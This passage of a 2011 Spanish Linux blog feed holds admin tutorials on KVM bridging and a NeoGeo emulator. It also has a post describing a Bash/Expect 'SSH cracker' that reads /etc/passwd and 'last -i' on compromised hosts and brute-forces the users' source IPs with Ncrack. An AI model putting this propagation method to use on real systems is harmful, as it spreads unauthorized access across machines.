id="SPELLING_ERROR_526"&gt;VNC&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_527"&gt;sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#!/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_528"&gt;bin&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_529"&gt;bash&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_530"&gt;PIDS&lt;/span&gt;_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_531"&gt;VNC&lt;/span&gt;=$(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_532"&gt;pidof&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_533"&gt;Xtightvnc&lt;/span&gt;)&lt;br /&gt;echo -------------------------&lt;br /&gt;echo Matando Procesos &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_534"&gt;VNC&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_535"&gt;for&lt;/span&gt; i &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_536"&gt;in&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_537"&gt;PIDS&lt;/span&gt;_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_538"&gt;VNC&lt;/span&gt;&lt;br /&gt;do&lt;br /&gt;echo Matando proceso: $i&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_539"&gt;kill&lt;/span&gt; $i&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_540"&gt;PIDS&lt;/span&gt;_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_541"&gt;LXDE&lt;/span&gt;=$(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_542"&gt;pidof&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_543"&gt;lxsession&lt;/span&gt;)&lt;br /&gt;echo -------------------------&lt;br /&gt;echo Matando Procesos &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_544"&gt;LXDE&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_545"&gt;for&lt;/span&gt; i &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_546"&gt;in&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_547"&gt;PIDS&lt;/span&gt;_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_548"&gt;LXDE&lt;/span&gt;&lt;br /&gt;do&lt;br /&gt;echo Matando proceso: $i&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_549"&gt;kill&lt;/span&gt; $i&lt;br /&gt;done&lt;br /&gt;echo -------------------------&lt;br /&gt;&lt;br /&gt;chmod +x kill_VNC.sh&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_550"&gt;Ahun&lt;/span&gt; así cuando se sale no es capaz de desmontar la imagen de Debian pero si se entra y se sale de nuevo suele funcionar.&lt;br /&gt;Misterios de la vida.....&lt;br /&gt;&lt;br /&gt;Bueno esto es todo, espero que le &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_551"&gt;saqueis&lt;/span&gt; provecho a todo esto y recordad que tener Linux instalado en el móvil es como llevar siempre encima un micro &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_552"&gt;portatil&lt;/span&gt; ;)))&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3212192831898918071?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3212192831898918071/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3212192831898918071' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3212192831898918071'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3212192831898918071'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/10/debian-mediante-chroot-en-android.html' title='Debian mediante chroot en Android'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-mVjyYaEk_Xw/To8ShvJ2OxI/AAAAAAAAABQ/U40rNcQaBD4/s72-c/maquette_tux_linux_logo_inside_ico.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2198694893661186525</id><published>2011-06-01T13:53:00.011+02:00</published><updated>2011-06-02T18:51:31.533+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Red-Termite SSH Cracker</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-oAfh-2onAv8/Tee-uzn35KI/AAAAAAAAAA4/Or-I2BnOorg/s1600/latvianbotnet.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 208px; height: 157px;" src="http://4.bp.blogspot.com/-oAfh-2onAv8/Tee-uzn35KI/AAAAAAAAAA4/Or-I2BnOorg/s320/latvianbotnet.jpg" alt="" id="BLOGGER_PHOTO_ID_5613665171881321634" border="0" /&gt;&lt;/a&gt;Llevo unos cuantos días escribiendo &lt;a href="http://www.divshare.com/download/14999480-c8f"&gt;un script&lt;/a&gt; que combina Bash y Expect, se trata de una herramienta de craking ssh.&lt;br /&gt;El script intentará conectarse a los servidores ssh especificados en el fichero de configuración LISTA, este debe estar en el formato: "servidor":"usuario":"password", una vez se haya logado ejecutará last -i y cat /etc/passwd, de este modo tendremos un listado de usuarios y las ips desde las que se conectaron a este servidor.&lt;br /&gt;Despues se intentará acceder a estas ips por ssh empleando:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ususario: "nombre_usuario" Password: "nombre_usuario"&lt;/li&gt;&lt;li&gt;Ususario: "nombre_usuario" Password: "Listado_usuarios"&lt;/li&gt;&lt;li&gt;Ususario: "Listado_usuarios" Password: "Listado_usuarios"&lt;/li&gt;&lt;/ul&gt;En las dos primeras opciones solo intentará hacer login en las ips desde donde se conectó cada usuario.&lt;br /&gt;&lt;br /&gt;El listado de usuarios se genera a partir de los usuarios obtenidos a través de la conexión ssh y de un fichero local llamado USUARIOS_COMUNES_PREDEFINIDOS, he añadido bastantes nombres de diferentes series, peliculas....... pero se pueden añadir los diccionarios que se deseen:&lt;br /&gt;cat "diccionario" &amp;gt;&amp;gt; USUARIOS_COMUNES_PREDEFINIDOS&lt;br /&gt;&lt;br /&gt;Este script se sirve de &lt;a href="http://nmap.org/"&gt;NMap&lt;/a&gt;, &lt;a href="http://nmap.org/ncrack/"&gt;NCrack&lt;/a&gt; y Dos2Unix para realizar sus operaciones, NMap y Dos2Unix se pueden instalar desde los repositorios:&lt;br /&gt;apt-get install nmap tofrodos&lt;br /&gt;&lt;br /&gt;Para instalar NCrack deberemos seguir &lt;a href="http://laguaridadelmal.blogspot.com/2011/05/ncrack.html"&gt;este artículo&lt;/a&gt; anterior donde se explico como hacerlo.&lt;br /&gt;&lt;br /&gt;El script consta de varios subscripts:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Connect.sh: Script desde el que se iniciarán el resto de scripts.&lt;/li&gt;&lt;li&gt;Expect_Nmap_SSH.exp: Script que comprueba que el puerto 22 está escuchando en el host destino.&lt;/li&gt;&lt;li&gt;Expect_SSH.exp: Script que realiza la conexión por ssh y ejecuta los comandos last -i y cat /etc/passwd.&lt;/li&gt;&lt;li&gt;Process.sh: Script que procesa la salida del script anterior.&lt;/li&gt;&lt;li&gt;Auto_Crack.sh: Script que lanza NCrack con los usuarios y passwords obtenidos a partir de las conexiones ssh.&lt;/li&gt;&lt;/ul&gt;El script solo es válido para sistemas que permitan la opción -i en el comando last por ejemplo FreeBSD no lo permite!! No se si en BSD y otros Unix hay equivalente, pero si la hay será fácil realizar las modificaciones pertinentes en el script en Expect(Expect_SSH.exp).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2198694893661186525?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2198694893661186525/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2198694893661186525' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2198694893661186525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2198694893661186525'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/06/red-termite-ssh-cracker.html' title='Red-Termite SSH Cracker'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-oAfh-2onAv8/Tee-uzn35KI/AAAAAAAAAA4/Or-I2BnOorg/s72-c/latvianbotnet.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6949251606547320159</id><published>2011-05-24T18:14:00.028+02:00</published><updated>2011-06-19T14:42:08.315+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualización'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Virtualización con Kernel-based Virtual Machine KVM</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-fuQFECghvbg/Tdvh5VJCFaI/AAAAAAAAAYM/I1dG_j2prNY/s1600/kvmbanner-logo2.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 62px;" src="http://1.bp.blogspot.com/-fuQFECghvbg/Tdvh5VJCFaI/AAAAAAAAAYM/I1dG_j2prNY/s200/kvmbanner-logo2.png" alt="" id="BLOGGER_PHOTO_ID_5610326135863907746" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www.linux-kvm.org/page/Main_Page"&gt;KVM&lt;/a&gt; es una solución de virtualización que se apoya en Qemu como software de virtualización y en unos módulos del kernel para aprovechar los registro VT en procesadores Intel y SVM en los AMD.&lt;br /&gt;&lt;br /&gt;Lo primero que haremos será configurar estos módulos en nuestro kernel:&lt;br /&gt;Virtualization --&amp;gt; Kernel-based Virtual Machine (KVM) support --&amp;gt; KVM for Intel processors support&lt;br /&gt;&lt;br /&gt;NOTA: En mi caso se trata de un microprocesador de Intel.&lt;br /&gt;&lt;br /&gt;Instalamos las aplicaciones a nivel de usuario, para que la gestión de las máquinas virtuales sea mas cómoda también vamos a instalar una utilidad de gestión:&lt;br /&gt;apt-get install qemu-kvm aqemu&lt;br /&gt;&lt;br /&gt;Desde aqemu debe ser posible acceder a diferentes funcionalidades de Linux que solo es posible acceder con permisos de root, se pueden cambiar los permisos de diferentes dispositivos pero los mas fácil es editar los comandos permitidos por sudo:&lt;br /&gt;visudo&lt;br /&gt;"usuario" ALL=(root)NOPASSWD: /usr/bin/aqemu&lt;br /&gt;&lt;br /&gt;KVM tiene el tema de gestión de red un poco verde, si tenemos una tarjeta de red ethernet no hay problema, tan solo habrá que generar un bridge de la tarjeta cableada pero si la tarjeta de red es inalámbrica en principio esto no es posible, a continuación explicaré como resolver cada uno de los escenarios.&lt;br /&gt;&lt;br /&gt;Instalamos el software necesario:&lt;br /&gt;apt-get install uml-utilities parprouted bcrelay&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Red cableada:&lt;/span&gt;&lt;br /&gt;&lt;p&gt;Para que las máquinas virtuales puedan integrarse en nuestra red cableada es necesario crear un bridge entre nuestra tarjeta de red ethernet y una interfaz tap.&lt;/p&gt;&lt;p&gt;Generamos la interfaz y la levantamos:&lt;/p&gt;&lt;p&gt;tunctl -t tap0&lt;br /&gt;ifconfig tap0 up&lt;/p&gt;&lt;p&gt;Creamos el bridge y le añadimos la interfaz ethernet y la virtual:&lt;br /&gt;brctl addbr br0&lt;br /&gt;brctl addif br0 eth0&lt;br /&gt;brctl addif br0 tap0&lt;/p&gt;&lt;p&gt;Reconfiguramos la interfaz ethernet para que no posea ninguna dirección IP y le asignamos una al bridge:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ifconfig eth0 0.0.0.0&lt;br /&gt;dhclient br0&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Ahora asociamos nuestra tap0 a la máquina virtual:&lt;br /&gt;Connection mode: Open a TUN/TAP interface&lt;br /&gt;TUN/TAP Script Deshabilitado&lt;br /&gt;Interface name: tap0&lt;br /&gt;&lt;br /&gt;Nuestra máquina virtual ya se comportará como si se tratase de un equipo físico conectado a la red ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Red wireless:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En la red wireless debemos hacer dos distinciones según el método de asignación de direcciones IP a las máquinas virtualizadas:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;IP estática:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Habilitamos el enrutado en el kernel:&lt;br /&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;Generamos una interfaz &lt;a href="http://en.wikipedia.org/wiki/TUN/TAP"&gt;TAP&lt;/a&gt;:&lt;br /&gt;tunctl -t tap0&lt;br /&gt;ifconfig tap0 up&lt;br /&gt;&lt;br /&gt;Le asignamos una ip de nuestra red:&lt;br /&gt;ifconfig tap0 192.168.1.100&lt;br /&gt;&lt;br /&gt;Con Parprouted conseguiremos hacer magia, se trata de un proxy ARP a nivel 3 ;))&lt;br /&gt;parprouted wlan0 tap0&lt;br /&gt;&lt;br /&gt;Añadimos una ruta estática para la máquina virtual:&lt;br /&gt;route add -host 192.168.1.200 dev tap0&lt;br /&gt;&lt;br /&gt;Ahora configuramos la máquina virtual en qemu:&lt;br /&gt;Connection mode: Open a TUN/TAP interface&lt;br /&gt;TUN/TAP Script Deshabilitado&lt;br /&gt;Interface name: tap0&lt;br /&gt;&lt;br /&gt;Dentro de la máquina virtual se configurará la direcciín IP de forma estática indicandole la IP: 192.168.1.200&lt;br /&gt;&lt;br /&gt;Con esto la máquina virtual se podrá comunicar con Internet y con la máquina anfitrión.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;IP dinámica:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Habilitamos el enrutado en el kernel:&lt;br /&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;Generamos una interfaz &lt;a href="http://en.wikipedia.org/wiki/TUN/TAP"&gt;TAP&lt;/a&gt;:&lt;br /&gt;tunctl -t tap0&lt;br /&gt;ifconfig tap0 up&lt;br /&gt;&lt;br /&gt;Le asignamos una ip de nuestra red:&lt;br /&gt;ifconfig tap0 192.168.1.100&lt;br /&gt;&lt;br /&gt;Habilitamos el proxy ARP de capa3:&lt;br /&gt;parprouted wlan0 tap0&lt;br /&gt;&lt;br /&gt;Parprouted tiene un inconveniente y es que solo permite el paso de tráfico unicast por el bridge, por lo tanto las peticiones DHCP serán capadas, pero existe la herramienta bcrelay que solventa este problema:&lt;br /&gt;bcrelay -i tap0 -o wlan0 &amp;amp;&lt;br /&gt;&lt;br /&gt;Ahora configuramos la máquina virtual en qemu:&lt;br /&gt;Connection mode: Open a TUN/TAP interface&lt;br /&gt;TUN/TAP Script Deshabilitado&lt;br /&gt;Interface name: tap0&lt;br /&gt;&lt;br /&gt;Dentro de la máquina virtual se configurará la dirección IP de forma dinámica.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTA: Las direcciones IP para las interfaces TAP he decidido que empiezen por la 100 y las IPs de las máquinas virtuales a partir de la 200, estos rangos son totalmente arbitrarios, yo los elegí porque son rangos libre de mi direccionamiento&lt;br /&gt;&lt;br /&gt;Para cada máquina virtual habrá que añadir una interfaz tap distinta ocupando una ip de nuestra red :(&lt;br /&gt;Si queremos que las máquinas virtuales puedan comunicarse entre ellas habrá que "bridgearlas" entre ellas:&lt;br /&gt;parprouted tap0 tap1&lt;br /&gt;&lt;br /&gt;De este modo nos podremos olvidar de los tediosos problemas que dan Vmware y VirtualBox cuando recompilamos el kernel, módulos que no compilan o ñapas en el código......&lt;br /&gt;&lt;br /&gt;NOTA: Si se configura una máquina virtual Linux para que pida dirección por DHCP no funciona, este es un tema en el que seguiré indagando.&lt;br /&gt;&lt;br /&gt;Dejo estos scripts para que todo sea automático, nos generará un TAP por máquina vritual, le asignará un IP y la meterá en un bridge junto con el resto de máquinas consiguiendo que todos puedan verse con todos y además tengan acceso a Inet ;), además el script configura de forma automática las intyerfaces con bcrelay.&lt;br /&gt;&lt;br /&gt;Para que funcionen tendremos que definir algunas variables en AQemu_UP.sh&lt;br /&gt;&lt;br /&gt;- AQemu_UP.sh&lt;br /&gt;#!/bin/bash&lt;br /&gt;clear&lt;br /&gt;echo "|---------------------------------------|"&lt;br /&gt;echo "| Script configuracion interfaces AQemu |"&lt;br /&gt;echo "| By Kr0m V0.1b                         |"     &lt;br /&gt;echo "|---------------------------------------|"&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;rm -rf /tmp/TAPS 2&amp;gt;/dev/null&lt;br /&gt;rm -rf /tmp/IP_VM 2&amp;gt;/dev/null&lt;br /&gt;&lt;br /&gt;DIR_AQEMU=/mnt/datos/AQemu&lt;br /&gt;N=0&lt;br /&gt;RED_TAP=192.168.1.&lt;br /&gt;IP_TAP=100&lt;br /&gt;RED_VM=192.168.1.&lt;br /&gt;echo $RED_VM &amp;gt; /tmp/RED_VM&lt;br /&gt;IP_VM=200&lt;br /&gt;echo $IP_VM &amp;gt; /tmp/IP_VM&lt;br /&gt;WIFI=wlan0&lt;br /&gt;&lt;br /&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;for i in $DIR_AQEMU/*.aqemu&lt;br /&gt;do&lt;br /&gt;  #echo i: $i&lt;br /&gt;  #echo N: $N&lt;br /&gt;  #echo IP_TAP: $IP_TAP&lt;br /&gt;  #echo IP_VM: $IP_VM&lt;br /&gt;  tunctl -t tap$N&lt;br /&gt;  ifconfig tap$N up&lt;br /&gt;  ifconfig tap$N $RED_TAP$IP_TAP&lt;br /&gt;  route add -host $RED_VM$IP_VM dev tap$N&lt;br /&gt;  bcrelay -i tap$N -o $WIFI &amp;amp;&lt;br /&gt;  let N=$N+1&lt;br /&gt;  let IP_TAP=$IP_TAP+1&lt;br /&gt;  let IP_VM=$IP_VM+1&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;N=$((N-1))&lt;br /&gt;#echo N: $N&lt;br /&gt;parprouted $WIFI $(for t in $(seq 0 $N); do echo tap$t; done)&lt;br /&gt;&lt;br /&gt;echo $N &amp;gt; /tmp/TAPS&lt;br /&gt;&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;echo "---------- INTERFACES DE RED ---------------"&lt;br /&gt;ifconfig&lt;br /&gt;&lt;br /&gt;echo " "&lt;br /&gt;echo "---------- TABLA DE RUTAS ------------------"&lt;br /&gt;route -n&lt;br /&gt;&lt;br /&gt;echo " "&lt;br /&gt;echo "---------- PROCESOSO ARRANCADOS ------------------"&lt;br /&gt;ps aux | grep bcrelay | grep -v grep&lt;br /&gt;ps aux | grep parprouted | grep -v grep&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- AQemu_DOWN.sh&lt;br /&gt;#!/bin/bash&lt;br /&gt;clear&lt;br /&gt;echo "|---------------------------------------------|"&lt;br /&gt;echo "|Script eliminacion interfaces AQemu          |"&lt;br /&gt;echo "|---------------------------------------------|"&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;&lt;br /&gt;echo 0 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;N=$(cat /tmp/TAPS)&lt;br /&gt;for i in $(seq 0 $N)&lt;br /&gt;do&lt;br /&gt;  ifconfig tap$i down&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;killall parprouted&lt;br /&gt;killall bcrelay&lt;br /&gt;&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;echo "------------- INTERFACES DE RED ---------------"&lt;br /&gt;ifconfig&lt;br /&gt;&lt;br /&gt;echo " "&lt;br /&gt;echo "------------- TABLA DE RUTAS ------------------"&lt;br /&gt;route -n&lt;br /&gt;&lt;br /&gt;echo " "&lt;br /&gt;echo "------------- PROCESOS ARRANCADOS ------------------"&lt;br /&gt;ps aux | grep bcrelay | grep -v grep&lt;br /&gt;ps aux | grep parprouted | grep -v grep&lt;br /&gt;&lt;br /&gt;NOTA: Estos scripts precisan de privilegios de root, para ello configuraremos sudo de tal modo que:&lt;br /&gt;"usuario" ALL=(root)NOPASSWD: "ruta AQemu_UP.sh"&lt;br /&gt;"usuario" ALL=(root)NOPASSWD: "ruta AQemu_DOWN.sh"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6949251606547320159?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6949251606547320159/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6949251606547320159' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6949251606547320159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6949251606547320159'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/05/virtualizacion-con-kernel-based-virtual.html' title='Virtualización con Kernel-based Virtual Machine KVM'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-fuQFECghvbg/Tdvh5VJCFaI/AAAAAAAAAYM/I1dG_j2prNY/s72-c/kvmbanner-logo2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3584115058187830815</id><published>2011-05-17T19:46:00.013+02:00</published><updated>2011-05-24T18:37:02.244+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>NeoGeo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-ejSnQlVJhy4/TdvYwDpdsHI/AAAAAAAAAYE/BZFMrz52z28/s1600/Pantallazo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 112px;" src="http://3.bp.blogspot.com/-ejSnQlVJhy4/TdvYwDpdsHI/AAAAAAAAAYE/BZFMrz52z28/s200/Pantallazo.png" alt="" id="BLOGGER_PHOTO_ID_5610316080944623730" border="0" /&gt;&lt;/a&gt;El otro día me entró el gusanillo de jugar a algún juego de estos de la vieja escuela, tipo Metal Slug así que me dispuse a instalar un emulador de NeoGeo (&lt;a href="http://gngeo.berlios.de/"&gt;gngeo&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Nos bajamos el emulador de &lt;a href="http://gngeo.berlios.de/?page=download"&gt;aquí.&lt;/a&gt;&lt;br /&gt;tar xvzf gngeo-****.tar.gz&lt;br /&gt;cd gngeo-****/&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Bajamos la interfaz gráfica de &lt;a href="http://xgngeo.choplair.org/"&gt;aquí.&lt;/a&gt;&lt;br /&gt;bzip2 -dc XGngeo-****.tar.bz2 | tar xv&lt;br /&gt;cd XGngeo-****l&lt;br /&gt;./setup.py install&lt;br /&gt;&lt;br /&gt;La interfaz gráfica tiene algunos bugs que se pueden solventarse del siguiente modo:&lt;br /&gt;mkdir -p /usr/share/xgngeo&lt;br /&gt;cp -r XGngeo-16/data/img/ /usr/share/xgngeo/&lt;br /&gt;mkdir -p /usr/lib/python2.6/site-packages/xgngeo&lt;br /&gt;cp XGngeo-16/data/py/* /usr/lib/python2.6/site-packages/xgngeo&lt;br /&gt;&lt;br /&gt;Nos hará falta la &lt;a href="http://www.divshare.com/download/14863483-696"&gt;BIOS&lt;/a&gt; de la consola.&lt;br /&gt;Cuando arranquemos el gestor gráfico nos aparecerá un asistente donde le indicaremos la ruta de ciertos ficheros como:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;El directorio de la BIOS.&lt;/li&gt;&lt;li&gt;El directorio donde se encuentra el driver de las ROMs: Este directorio creo que no se emplea para nada&lt;/li&gt;&lt;li&gt;El ejecutable de gngeo.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Con esto ya estamos preparados para jugar al Metal Slug entre otros ;;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3584115058187830815?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3584115058187830815/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3584115058187830815' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3584115058187830815'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3584115058187830815'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/05/neogeo.html' title='NeoGeo'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-ejSnQlVJhy4/TdvYwDpdsHI/AAAAAAAAAYE/BZFMrz52z28/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7963881726458290608</id><published>2011-05-17T15:30:00.006+02:00</published><updated>2011-05-19T06:17:51.973+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Ncrack</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/---ijNGmU1T0/TdLfTUN5BSI/AAAAAAAAAX8/YtD6BcN87j8/s1600/ncrack_logo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 179px; height: 200px;" src="http://3.bp.blogspot.com/---ijNGmU1T0/TdLfTUN5BSI/AAAAAAAAAX8/YtD6BcN87j8/s200/ncrack_logo.png" alt="" id="BLOGGER_PHOTO_ID_5607790008967169314" border="0" /&gt;&lt;/a&gt;Hace poco escribí un &lt;a href="http://laguaridadelmal.blogspot.com/2011/05/crackeador-hydra.html"&gt;artículo&lt;/a&gt; sobre como crackear logins de acceso mediante Hydra, explicaba que se alcanzaba el máximo número de ficheros abiertos simultaneamente en nuestro sistema y por esta razón había que modificar ciertos parámetros, cual ha sido mi sorpresa cuando esto seguía ocurriendo incluso después de aplicar los cambios.&lt;br /&gt;&lt;br /&gt;A raíz de esto me he dispuesto a probar &lt;a href="http://nmap.org/ncrack/"&gt;Ncrack&lt;/a&gt;. Este programa viene de la mano de los creadores de nmap y cuenta con soporte para los siguientes protocolos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;FTP&lt;/li&gt;&lt;li&gt;TELNET&lt;/li&gt;&lt;li&gt;SSH&lt;/li&gt;&lt;li&gt;HTTP/S&lt;/li&gt;&lt;li&gt;SMB&lt;/li&gt;&lt;li&gt;RDP&lt;/li&gt;&lt;li&gt;VNC&lt;/li&gt;&lt;li&gt;POP3/S&lt;/li&gt;&lt;/ul&gt;&lt;br 